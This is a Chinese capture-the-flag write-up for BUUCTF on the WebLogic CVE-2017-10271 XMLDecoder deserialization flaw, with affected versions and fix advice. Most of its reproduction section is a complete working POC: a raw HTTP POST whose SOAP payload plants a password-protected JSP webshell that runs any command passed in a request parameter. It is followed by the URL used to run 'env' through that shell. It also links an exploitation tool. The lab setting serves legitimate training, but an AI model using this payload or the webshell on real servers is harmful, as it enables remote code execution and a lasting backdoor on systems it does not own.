BUUCTF-[WebLogic]CVE-2017-10271(反序列化漏洞)
漏洞描述
Weblogic的WLS组件对外提供web服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。
影响版本
weblogic 版本: 10.3.6.0.0 12.2 1.1.0 12.2.1.2.0 12.1.3.0.0
漏洞复现-方法1
1、打开靶场,看到一个404页面,说明weblogic已成功启动。
2、初步判断:访问 http://node5.buuoj.cn:27559/wls-wsat/CoordinatorPortType,存在下图则说明可能存在漏洞。
3、构造POST包,写入webshell。
POC
POST /wls-wsat/CoordinatorPortType HTTP/1.1 Host: node5.buuoj.cn:27559 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Content-Type:text/xml Content-Length: 992 <soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header> <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> <java><java version="1.4.0" class="java.beans.XMLDecoder"> <object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string> <void method="println"> <string> <![CDATA[ <% if("123".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %> ]]> </string> </void> <void method="close"/> </object></java></java> </work:WorkContext> </soapenv:Header> <soapenv:Body/> </soapenv:Envelope>
4、访问 http://node5.buuoj.cn:27559/bea_wls_internal/test.jsp?pwd=123&i=env ,打印环境变量,找到flag。
漏洞复现-方法2-使用工具WeblogicTool_1.3.jar
下载地址:https://github.com/KimJun1010/WeblogicTool/releases/tag/v1.3
1、工具检查,靶场存在CVE-2017-10271漏洞。
2、执行命令env,打印环境变量,找到flag。
修复建议
1.更新Oracle相应补丁
2.对ws组件的资源访问在防火墙或路由器和交换机上做acl访问控制规则
3.在不影响业务的前提下删除相应war包